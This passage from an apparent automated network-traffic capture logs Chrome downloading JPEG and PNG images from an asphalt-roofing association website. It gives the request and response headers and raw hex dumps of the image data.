\Y&?`RG}QL%]]\|f'}T{rvzYstnxn_tgKM;oGTOOAGe)r_3yO!>Vso{\|ogM{~t\Yj:4QfL];7nd_uDV/v]y%Q9Idj@yrs7&y7g"K#9cdc
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: fb cc 7c ba fe 82 88 b6 8e 55 bb b5 d8 a7 9d 86 ed 9a ed 00 98 5a b2 73 5b b3 d9 39 1c 9e 6f 39 3a da f9 64 ed e6 26 9d 7c f4 e9 73 b2 75 36 d1 c9 df 76 4d 15 17 e3 6d b5 4c 65 d2 e0 d1 96 fb 01 6e c4 4a ec c1 cd f7 fa b7 49 9e fd f9 a6 41 6f a6 9f 9a e1 d8 37 aa dd 45 1d 5b 9d 13 7d 2f 6e 3c 3b 63 97 6f 9f bb 87 44 a5 a2 90 e4 d8 da 17 2e 96 28 a6 cb e7 2c 4d d7 66 1e ec 89 6d ad 28 5f 25 49 a2 cc 94 9a 52 b9 b0 4b 16 4d 1d 6d 01 f3 ec e9 0b 1e eb 6d 42 45 49 5a 52 89 52 42 aa 24 23 1e 97 a6 47 1f 80 d3 32 4c c8 4c 4c d8 f3 26 9f 4d 9c f1 56 4c 00 11 20 2b 10 57 ee 1c e4 60 99 02 05 e4 e7 ae ed 9d 22 42 4d 7d fc a6 bf 25 78 12 d3 00 90 10 c2 0b 1a bd 16 6b bc 42 b9 10 40 94 fb 6e 94 ea 4e 35 3e 3b d6 e0 e5 fa 1f 2b ea bc 97 a3 f3 fe 8b cd f7 fc e7 6f cd Data Ascii: \|UZs[9o9:d&\|su6vMmLenJIAo7E[}/n<;coD.(,Mfm(_%IRKMmmBEIZRRB$#G2LLL&MVL +W`"BM}%xkB@nN5>;+o
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: ac c6 16 e8 cc ae 81 63 da 92 c4 d7 51 2c 21 57 d0 64 c9 e1 35 4c 8d ec 96 ef 1e 02 84 cb 12 00 01 57 ad 48 d5 e2 b9 0d 2b 13 04 28 33 d6 0c d3 df f4 4d cf f3 56 c4 c0 12 28 c4 00 3f b0 ae ff 00 33 c8 82 22 6c b6 db 79 f5 d8 8f 32 4c 1d ee c1 5d de 1d c2 24 90 00 91 df a4 fc cb 7a 3d 6a 1f c5 bb 90 a4 15 1e ed e7 45 7e 33 67 04 ed 79 3f 44 70 3d 2f 95 f4 bc de 6d a6 79 69 0a 9e d7 cc 99 a9 76 90 90 69 26 5a 5e fe cd b7 3f 99 71 28 27 aa 2e 63 5b a2 c1 a0 89 c6 b6 04 a2 35 96 b6 5a 85 6d f0 51 9a e4 96 2a 48 9d c5 98 e9 0b 37 db 6a 61 57 23 73 95 a5 33 a9 72 85 29 46 9b a7 0e 7b 20 df a2 0c 94 3b 91 60 bd be ed fe 07 d0 73 2d e1 71 bd 74 65 f3 48 ef 51 d5 e4 57 b6 84 bb d2 7a 6e 07 72 fe 4f 22 8e 9e 63 6d 5c 4c d9 cb 70 d2 5c ed 7f d2 bc 8d 33 c6 bf 07 a7 Data Ascii: cQ,!Wd5LWH+(3MV(?3"ly2L]$z=jE~3gy?Dp=/myivi&Z^?q('.c[5ZmQ*H7jaW#s3r)F{ ;`s-qteHQWznrO"cm\Lp\3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	49834	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:52 UTC	781	OUT	GET /wp-content/uploads/2020/03/podcast-4209770-1024x751.jpg HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb
2024-04-23 14:53:52 UTC	518	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:52 GMT Content-Type: image/jpeg Content-Length: 27765 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 11 Mar 2022 14:41:08 GMT ETag: "1e21e54-6c75-5d9f25233e900" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:52 UTC	7674	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 12 12 12 12 13 12 14 16 16 14 1c 1e 1b 1e 1c 29 26 22 22 26 29 3e 2c 30 2c 30 2c 3e 5e 3b 45 3b 3b 45 3b 5e 53 65 52 4d 52 65 53 96 76 68 68 76 96 ad 91 8a 91 ad d2 bc bc d2 ff fb ff ff ff ff 01 12 12 12 12 13 12 14 16 16 14 1c 1e 1b 1e 1c 29 26 22 22 26 29 3e 2c 30 2c 30 2c 3e 5e 3b 45 3b 3b 45 3b 5e 53 65 52 4d 52 65 53 96 76 68 68 76 96 ad 91 8a 91 ad d2 bc bc d2 ff fb ff ff ff ff ff c2 00 11 08 02 ef 04 00 03 01 22 00 02 11 01 03 11 01 ff c4 00 33 00 01 00 02 03 01 01 00 00 00 00 00 00 00 00 00 00 00 04 05 02 03 06 01 07 01 01 00 03 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: JFIF)&""&)>,0,0,>^;E;;E;^SeRMReSvhhv)&""&)>,0,0,>^;E;;E;^SeRMReSvhhv"3
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: 74 79 20 81 d6 e1 98 f3 65 00 03 6f 46 45 5d 85 7b cb 38 16 3c 95 8a 25 55 07 03 2c 77 50 96 c6 7b ab 9b a8 96 55 90 43 2b c8 ad 82 a0 91 8a b0 b5 13 d8 5c a2 4f 1a cb 23 a8 08 e7 19 0b 5e 09 7f 15 ad 9f 83 24 a0 be f5 90 a7 7b 14 75 29 16 fe 74 16 d0 3a c1 1b 00 59 3c ac 46 b5 12 e9 f2 d8 ce d2 31 b6 49 67 5d 9c 5f 05 05 0b 7d da 8c 22 09 84 91 8b 76 44 da 70 c0 aa 55 9d cc b1 0b 68 ae 6d c4 d3 cf 36 ff 00 ad e2 02 74 0a b7 4b 6b 98 d6 e5 31 19 5b 86 78 e3 72 32 e5 52 b4 44 98 c6 f2 4b 23 31 74 8f 8f bc 64 fe 2e bc 7b 78 a5 2e e8 27 61 72 e7 28 d8 28 b8 e9 06 a2 9a 78 ef 65 8d 55 36 4b 24 db 40 4e 9c 44 b8 07 35 62 ba 82 4b 04 3b e6 60 6d 5c b8 f6 29 60 76 d0 b2 9e 0f 00 dd 13 e4 37 3b 2f b9 77 54 50 bd d4 5a 84 a8 bb d9 e5 0b 18 ef 1d c4 d1 0e f3 e9 b6 Data Ascii: ty eoFE]{8<%U,wP{UC+\O#^${u)t:Y<F1Ig]_}"vDpUhm6tKk1[xr2RDK#1td.{x.'ar((xeU6K$@ND5bK;`m\)`v7;/wTPZ
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: a3 de 2b 43 f4 7f cc 6b 5a f5 78 fb b5 01 22 da 1e d3 48 7f 67 9f bf 4f c6 d2 ac b8 cb f1 2a 4f 59 9b e1 52 b1 09 18 f7 8f 95 0b 9d d1 3c 7d 48 6a 3f 49 fc ff 00 d6 af fd 4d ff 00 9a b4 ef 5e 87 f4 ab 4e 1a 8d 5f 12 25 b7 3e e1 4d 72 cb 6c 18 1a 13 73 b0 06 07 8c 75 27 d9 b3 77 87 ce be 8e fa c4 df 0e b5 06 dd 7c de e8 aa 6f b5 05 69 0d f5 6e 3a 9c d5 bc 99 18 3e ca 92 e1 52 45 4a d5 2f ca 42 85 38 17 f9 1a 66 dd 25 9f c3 fe b5 f7 9f b1 3e 54 a4 8b 5b af 89 57 e4 ee d3 ea d4 96 37 04 ff 00 1f f4 a9 64 65 be 88 e7 84 83 15 a9 39 f0 f6 6a ba f3 9b b0 55 bf a9 cb 56 5e b2 9f 0e a0 99 e3 be 70 a7 a1 a9 19 56 f9 59 8e 00 9f 24 d3 6a 76 ec 71 1b ad 4b 72 91 c1 24 79 dc 5d b3 91 50 dc ef 7b 30 8c 78 aa b0 a9 ee 1c 1b c4 58 b9 c3 b0 e1 3d 8d 46 e2 e7 c2 5e 44 ce Data Ascii: +CkZx"HgO*OYR<}Hj?IM^N_%>Mrlsu'w\|oin:>REJ/B8f%>T[W7de9jUV^pVY$jvqKr$y]P{0xX=F^D
2024-04-23 14:53:52 UTC	3707	IN	Data Raw: ae 26 9e f5 f8 ca d8 4e e8 a8 23 d8 83 3c 4f e2 e7 40 e3 06 af ec a6 86 5f 0a b7 1f 59 f7 d3 d8 e2 a0 b8 8e e5 37 a1 ed 53 c4 1e 48 ae 1e 13 91 c3 aa a2 ba 8a 60 06 70 7a b9 25 95 21 42 ee 40 14 b6 77 d7 08 d7 a4 09 01 2c 48 cf 95 56 a9 e1 e4 ac 71 93 b7 8e e3 8a d3 a3 78 6f e4 63 b9 39 93 b4 fb e9 59 5d 43 29 c8 3e 24 92 6d 18 1c 4f 0a d5 2e 0d dc e2 c6 26 f2 41 cc cd 56 16 c0 2a b6 30 8a 30 a3 f1 83 20 71 82 2a f7 4c 75 90 cf 6c db 24 ff 00 67 a8 ae c3 37 35 32 f3 52 ff 00 09 a3 59 a8 af a6 8f 00 9d cb ef ad 76 f1 26 d3 8a 05 21 b7 ad 59 ea 73 41 a5 ef fe 06 d9 56 ba e4 90 39 2f 04 4c 09 f6 28 14 f7 71 dd 45 14 91 a6 d0 e3 35 66 54 c0 9d 20 e3 95 e5 0b d0 bd 26 b5 3d 45 a3 26 08 0e e9 df 89 f6 25 69 3a 66 13 73 70 27 25 bd ae 68 00 00 03 f1 95 cd 85 bd Data Ascii: &N#<O@_Y7SH`pz%!B@w,HVqxoc9Y]C)>$mO.&AV00 qLul$g752RYv&!YsAV9/L(qE5fT &=E&%i:fsp'%h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	49835	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:52 UTC	675	OUT	GET /wp-content/uploads/2018/04/9-of-17.jpg HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
2024-04-23 14:53:52 UTC	520	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:52 GMT Content-Type: image/jpeg Content-Length: 914766 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 11 Mar 2022 14:57:52 GMT ETag: "1dc11ff-df54e-5d9f28e0bbc00" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:52 UTC	7672	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 10 0b 0c 0e 0c 0a 10 0e 0d 0e 12 11 10 13 18 28 1a 18 16 16 18 31 23 25 1d 28 3a 33 3d 3c 39 33 38 37 40 48 5c 4e 40 44 57 45 37 38 50 6d 51 57 5f 62 67 68 67 3e 4d 71 79 70 64 78 5c 65 67 63 01 11 12 12 18 15 18 2f 1a 1a 2f 63 42 38 42 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 ff c2 00 11 08 0b a1 0f 84 03 01 22 00 02 11 01 03 11 01 ff c4 00 32 00 00 02 03 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 01 01 01 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 ec 01 df 0c 01 8c 41 a6 a0 03 13 06 00 c0 1a 60 Data Ascii: JFIF(1#%(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc//cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc"2A`
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: c0 92 64 05 b0 ac 2c 20 13 20 13 51 49 35 15 52 51 09 11 09 38 04 dc 1a cd c1 c4 84 0c 8a 49 ba d1 61 5a ab 54 11 32 00 c4 00 00 00 c4 00 00 c0 00 01 07 3c 1f 4c 26 0a 00 00 03 4c 1a 06 d3 00 01 a7 03 4c 00 51 a0 60 03 4c 04 e0 00 00 00 62 18 26 98 81 80 00 26 00 00 30 00 01 83 42 80 0c 08 00 00 00 01 89 80 00 d0 31 30 06 00 00 00 00 00 31 03 13 50 00 00 00 00 10 01 46 80 68 18 00 04 34 30 10 00 00 00 d0 34 03 40 31 03 11 4c 4e 00 00 00 00 00 04 d0 00 34 03 00 00 1a 01 a0 00 06 26 26 00 00 00 00 00 00 00 c4 c0 00 00 62 60 04 00 00 00 05 00 00 00 00 01 00 14 00 00 40 00 00 00 09 8a 98 98 01 00 03 40 02 06 22 98 98 01 03 4e 80 50 c0 06 80 1a 18 98 34 00 03 40 0d 03 10 0d 30 04 31 30 13 01 30 00 1a 06 08 62 60 26 00 00 d9 19 84 48 8a 26 a2 89 90 09 ba c2 c5 Data Ascii: d, QI5RQ8IaZT2<L&LLQ`Lb&&0B101PFh404@1LN4&&b`@@"NP4@0100b`&H&
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: 60 0d 35 00 00 01 88 60 00 00 00 00 03 00 00 00 06 00 10 00 0d 30 00 00 00 00 10 c1 88 05 68 10 60 a0 00 d0 30 43 4c 00 00 00 00 62 06 00 00 00 00 00 d1 0c 00 00 68 06 08 62 06 0c 4d 00 30 00 50 00 06 20 60 26 00 40 00 00 00 00 14 01 00 00 00 00 00 00 00 00 e9 bb 9b 9b c4 c3 b3 47 0e da 78 7d 9e 16 3a 76 5c 67 cf d6 b2 df 5e b2 f3 71 f2 74 e1 e9 6d cb 6e 3b e9 61 cf ae 1c ba 33 ef 95 73 ae cd f2 a3 d2 f9 bb 93 b1 d8 c6 ef 27 0b 20 68 d3 cf d3 96 98 2b 0c 3e 7f d5 f1 35 39 a4 eb e9 97 2a ac 23 64 0a b2 32 50 ac 88 b1 2c 02 0d 95 cc 91 18 59 10 6a 45 da 30 93 5d 29 72 e0 bd 58 f3 26 d6 98 d5 72 a9 d9 39 61 a2 09 74 cb 05 6b d1 39 8e ce a5 bc 8d 17 1d 5d 1c 89 5c f6 e7 c1 2e 3b a7 16 5a cf 61 60 d2 c5 c1 3b 98 a9 a2 24 82 0d 95 12 48 44 88 89 25 51 f2 7e b7 Data Ascii: `5`0h`0CLbhbM0P `&@Gx}:v\g^qtmn;a3s' h+>59*#d2P,YjE0])rX&r9atk9]\.;Za`;$HD%Q~
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: 2c 64 6c 8d 85 6a ea 09 34 82 b9 25 63 44 1d a8 82 73 2a 57 40 ae 36 a2 98 6a 89 8e ad 51 30 97 c5 35 3c 5a 5a 87 53 9c f9 74 f4 b5 f2 76 e6 76 2f e2 76 3d 3e 79 12 8f 6c 09 a4 14 90 86 08 60 80 00 00 00 00 43 40 0c 43 40 00 00 00 00 02 18 26 02 60 21 82 00 00 13 00 00 00 01 82 00 00 01 a0 00 4c 04 c0 4c 00 00 4c 00 00 00 00 00 01 82 06 20 00 18 86 80 18 00 00 40 05 00 00 10 34 28 00 34 13 48 04 c1 0d 00 03 00 00 00 00 00 00 43 04 34 00 00 00 00 00 00 c4 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 60 00 00 00 00 00 00 26 02 18 00 02 60 98 00 02 18 00 02 60 86 81 80 26 86 00 98 09 a6 21 82 1a 80 60 86 80 18 80 18 82 91 9a 89 80 0c 10 c0 00 01 88 60 86 00 d0 0c 10 31 0c 50 00 18 89 82 a6 00 32 15 1a 2b ce 95 b5 db 48 6a e5 72 fa b8 Data Ascii: ,dlj4%cDs*W@6jQ05<ZZStvv/v=>yl`C@C@&`!LLL @4(4HC44`&``&!``1P2+Hjr
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: 6d d7 2a 9e 86 94 4a de 1e e5 bd be 46 fc de 9a 29 93 4b c1 45 75 9f 0e 8b 3b fe 75 c7 4e 3f a1 cd 7c d5 9c 6e de 93 89 dd d8 ac a6 31 cf 32 eb ab 16 77 d2 b7 91 d0 94 e0 76 b8 6e 98 85 5f 4f 3f a0 85 b4 f1 f7 f1 f2 dd 47 5f 09 ab 04 ee 6d 9d 2d 63 64 45 ef 74 f8 5d 0e 3e dc e7 5e cd f9 f1 67 df ce 5c d1 ea 43 59 c3 a2 61 9f a3 8b 1c 57 dc 34 1d e6 8b c8 f3 7e 97 85 3a 71 3a 74 ea c7 a2 19 f5 d7 1c dc 7b b2 eb 1b b4 67 d1 8e cd a7 18 76 63 df bc 42 be af 4a f2 f3 75 fa 97 ac 71 f8 fe be b4 e1 f0 37 3e 5a b7 27 47 85 8e 95 2a 3a 5d 35 5d 51 dd 73 d5 cb ad 71 f5 f1 f9 dd 9e 7e b9 6e be 17 e7 78 b2 6e c0 6c c9 bb 12 68 57 52 bb 78 fd 9e 3a 77 a7 19 4e b5 92 4c c6 e8 4d a1 0e 23 35 3b 20 59 59 1b b5 75 3a 70 e5 dd b2 8b c7 25 1b aa 9d 32 10 96 3b c6 32 8e 74 Data Ascii: mJF)KEu;uN?\|n12wvn_O?G_m-cdEt]>^g\CYaW4~:q:t{gvcBJuq7>Z'G:]5]Qsq~nxnlhWRx:wNLM#5; YYu:p%2;2t
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: 5c 2f a8 aa 9d 75 26 07 6d 15 57 57 04 6c e8 74 f9 3a 38 f4 ef 5b 8f 6e 1c d8 f4 79 fd f2 a5 45 9a 82 73 2a 94 e0 26 44 b1 41 84 dd 64 9a 64 59 22 a9 28 93 1a 23 29 16 45 d8 92 0a 72 aa 9d 90 07 1b 52 9b 53 aa c9 34 82 ba 24 6c ad 92 8c 99 12 50 0b 29 90 e7 5b 12 9c 48 b2 23 1a 14 84 59 06 c4 a5 01 53 78 72 d7 4b 12 fa 03 cb 77 24 bf 35 b7 56 29 0c 4d c4 84 34 44 c3 be b9 cb d3 cd cf e7 c7 56 7c 3b d7 ab 9d 69 b2 b9 67 b6 c9 08 58 62 d3 49 8f 26 f9 4b 2a 34 5a 73 7a 72 9f 3e b5 f5 f9 b6 66 db 67 9b c7 be 7e d1 f8 fd 7a 9d 59 65 ec 2f 12 3e 8d 4d f9 8b fd 57 2a f3 e4 c0 96 36 45 97 2e d9 e9 5a 72 ed db ae 5c 63 b5 cb 2b ae bb 64 be 8b ed 31 e1 f4 39 eb ce c7 b3 55 98 ad ba b5 c9 1b 63 ac c6 e8 48 96 6b c9 7a 3c d4 96 31 b2 e6 29 bb 5d 55 4a cd 6c be 8f 37 Data Ascii: \/u&mWWlt:8[nyEs&DAddY"(#)ErRS4$lP)[H#YSxrKw$5V)M4DV\|;igXbI&K4Zszr>fg~zYe/>MW*6E.Zr\c+d19UcHkz<1)]UJl7
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: b9 e8 aa 75 e7 a1 a6 8e 8e b9 c7 8b d3 e6 eb 8d 1c ed ae dd 3c ed 95 e7 a6 5c f4 ec d7 3e 8e fa 2f e5 e8 c5 a3 26 fd f2 e7 e4 b2 eb 32 fa ff 00 2d e8 b7 c7 cd 71 ba 1c ee 9e 73 af c7 d7 66 9b 35 f2 8e f6 2c 1d a5 e3 53 a3 3a 60 dd 4f 46 ca 0d 95 cb 22 cb eb 04 fb 5c 58 e5 51 a6 36 67 d5 45 a8 a3 7d 4b 2f 7d f3 ae ec de 8d fa 78 dc 3d 79 74 d5 67 4e 5a ad aa 1e 7f 65 f5 cd cb a7 bf e5 3b dd 7c d5 d1 d0 c3 ae 39 e4 a5 cb d8 a4 39 a5 14 a5 2b 9c 0e 0c 2e cf d7 87 6e ad 19 f9 f6 8d 1a a1 73 77 9b f4 7e 6f 58 f5 c4 61 cf b6 95 67 37 bf 2e 2c b5 d1 db e7 57 6d 75 d6 cb 39 9b 23 5e 0d 38 c6 16 54 eb bb 5c 73 68 ef 73 cc bb 15 93 a7 a8 9c 27 cf d9 e6 b1 75 71 f4 f1 d7 d0 c7 d1 b8 e4 df 55 f1 5d d4 5a 65 74 d7 a9 7f 57 93 6c 6a cf 48 b2 e8 e4 9c e9 da e7 f5 31 e7 Data Ascii: u<\>/&2-qsf5,S:`OF"\XQ6gE}K/}x=ytgNZe;\|99+.nsw~oXag7.,Wmu9#^8T\shs'uqU]ZetWljH1
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: 65 64 2c e3 e9 c1 a7 27 4a e7 26 cd b8 d2 32 1c e8 e6 10 eb 94 09 09 57 57 91 d8 e2 ef cd 9f 0f 53 35 d6 9c d6 66 ce f1 74 79 9d 54 da dc b3 d7 2e 6e 9c b7 cf cf 9d dc fb e3 cb 8f 43 26 b1 b3 b9 e4 3d 36 35 0f 3d e8 b8 9d 3c f9 7b dc 2a 77 9f 43 c6 ee 87 93 e8 59 45 91 7b 32 45 59 e9 bb 59 cd 67 4d cb c9 e9 4a 15 3e 7f 5e 19 b9 25 bf 11 8b a9 c2 db 5e ab 8d 4d b1 54 f9 16 59 a4 cb 03 d3 cb ce f5 f3 71 96 57 58 b2 ad 95 d5 ec 70 bd 67 3e d8 71 ec cd c7 d5 75 d9 35 e7 a4 a9 9d 73 54 a9 cc c3 e8 f8 ba f7 c7 a9 ce ed 72 77 e5 cc c5 8f 4b 96 dc 39 e9 38 c6 73 7a b8 7d ef 29 e8 f3 65 ae f9 5f 36 29 6c 55 5c e1 18 b2 78 eb b3 55 99 ec 95 b8 d9 65 65 c6 75 8f 5a 96 b3 a2 8c f1 b3 7c b9 3b 17 d8 d9 55 dc fd be 7b 0f 43 93 bf 2c 6b d9 1b cf 1d 9a 61 2d d0 9d 59 dd Data Ascii: ed,'J&2WWS5ftyT.nC&=65=<{*wCYE{2EYYgMJ>^%^MTYqWXpg>qu5sTrwK98sz})e_6)lU\xUeeuZ\|;U{C,ka-Y
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: 94 86 d3 55 64 5a 76 fc 97 ab f3 1d bc 7c fd d5 5f 9e b8 de 8a e6 ad e8 60 dd 8d b4 5c af 91 bb 36 f8 47 35 f7 6d bf b9 e5 3d 2c cf 37 9f dd e1 39 d1 ae ba 9d ba 1c ce cd 1a c5 fc 3e b4 ae 31 2c dd 0e 9c 7c d7 57 36 43 d0 63 e2 c8 d1 28 f6 e5 ea df 93 66 35 9f 36 ce 1e a6 2e 2f a2 c3 ac f1 4b 21 73 22 74 1e ab a9 e0 fb 52 f6 30 68 cc b0 f3 7b 73 b3 d3 b3 3d 6b dc db e7 e3 2f a9 df e2 3d 8e 77 c1 e9 57 2e 1e ea 35 ab ba 79 7c a6 ec 9d 7c 76 be 75 be 7e 8b 20 c1 42 c4 b4 5f 45 da cf 47 cc fa 7f 31 e9 f2 66 b3 77 13 7e 5d 31 a4 b3 6e 9c 9a 23 98 5d ba b9 9a 6f aa 2c af 35 27 4e 18 b6 97 72 ba 78 cc 92 d4 e8 d3 1c f1 6c b3 41 6e d1 93 5e 6f 77 a3 cc e9 f3 f7 f1 f8 dd 4e 1f 5f 27 42 35 e9 73 c7 9b b7 cb b2 1d 0a 77 25 f9 b5 60 27 4e 4a 8e 95 35 f5 65 e6 68 d3 Data Ascii: UdZv\|_`\6G5m=,79>1,\|W6Cc(f56./K!s"tR0h{s=k/=wW.5y\|\|vu~ B_EG1fw~]1n#]o,5'NrxlAn^owN_'B5sw%`'NJ5eh
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: cd 7c 33 7a 92 5c ee 7d 36 64 b3 3e f9 ca 79 ef 86 ed 76 66 af 46 45 b1 12 44 0e 50 45 27 36 56 e4 24 09 84 14 c2 a7 24 21 07 81 bb 3c a5 eb 7a 3f 21 eb 39 75 9d 95 4f 16 51 69 32 65 d5 4a 79 48 ce 3d f9 d7 a7 2d 85 ea 31 c5 d5 d7 8d be 5e a9 97 75 ed 82 fb 1b 76 dd 66 49 9e 7e 0e 9e 1b 69 b6 b7 67 53 36 8a b1 d3 0f af f2 3b b7 cf d0 79 de fe b9 3c de 9e 8e 34 be 7c ac 66 af 2d bf 07 5e 2e 71 9e b1 a1 2b 49 d9 55 bc bd 15 83 9b 88 c4 9e cc 5b a6 d6 5d d8 63 b9 0a a5 79 d7 9a ec 6d 76 b3 68 a3 1d 71 e4 e8 73 b7 83 ad c9 bd 74 ce 4b 1b 30 e9 56 5f 4d b8 75 8e f2 c5 09 ad b5 68 33 ac b7 a7 65 35 68 c9 2d 93 cf 36 ab 93 8b 38 36 27 be 62 25 9d 42 76 29 aa e6 17 36 3a e5 36 50 70 b7 c7 ad 6f 17 56 b1 d9 59 d6 3b 71 e1 5e 8e de 4d 1b ab bf 97 a2 ce 0f 6f 91 65 Data Ascii: \|3z\}6d>yvfFEDPE'6V$$!<z?!9uOQi2eJyH=-1^uvfI~igS6;y<4\|f-^.q+IU[]cymvhqstK0V_Muh3e5h-686'b%Bv)6:6PpoVY;q^Moe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	49836	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:52 UTC	722	OUT	GET /wp-content/uploads/2023/02/Residential-Manual-Digital-Version-Web-Images_1900x400.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
2024-04-23 14:53:52 UTC	516	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:52 GMT Content-Type: image/png Content-Length: 26891 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 10 Feb 2023 18:45:08 GMT ETag: "c21070-690b-5f45ce581bcb6" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:52 UTC	7676	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 07 6c 00 00 01 90 08 03 00 00 00 55 a4 60 aa 00 00 00 84 50 4c 54 45 ff ff ff ee f0 f1 f4 ed ed eb dc dc df e0 e2 ec d7 d4 e0 ca c7 cc cb cb ea b8 ab d8 ba b7 b7 b7 b9 d0 aa a5 df 96 87 c9 9a 96 a0 a2 a5 c1 8b 84 d1 79 6b bb 7d 75 7d 7e 81 cb 5e 54 b0 67 60 89 6a 64 a8 54 4f 93 5d 50 6c 69 68 c6 42 42 64 61 61 a1 45 44 71 58 52 c8 2b 3b c1 21 33 97 35 35 90 29 2c 61 3d 3a 4a 46 46 85 1f 22 90 19 24 74 1f 18 7e 19 1c 74 13 15 6c 10 13 49 1f 1d 2a 26 27 04 07 07 c1 3e 01 f7 00 00 68 42 49 44 41 54 78 da ec 9d 8b 7a da 3c b0 ae 01 d7 6e 54 e1 08 05 fd 6a a8 16 c8 ab 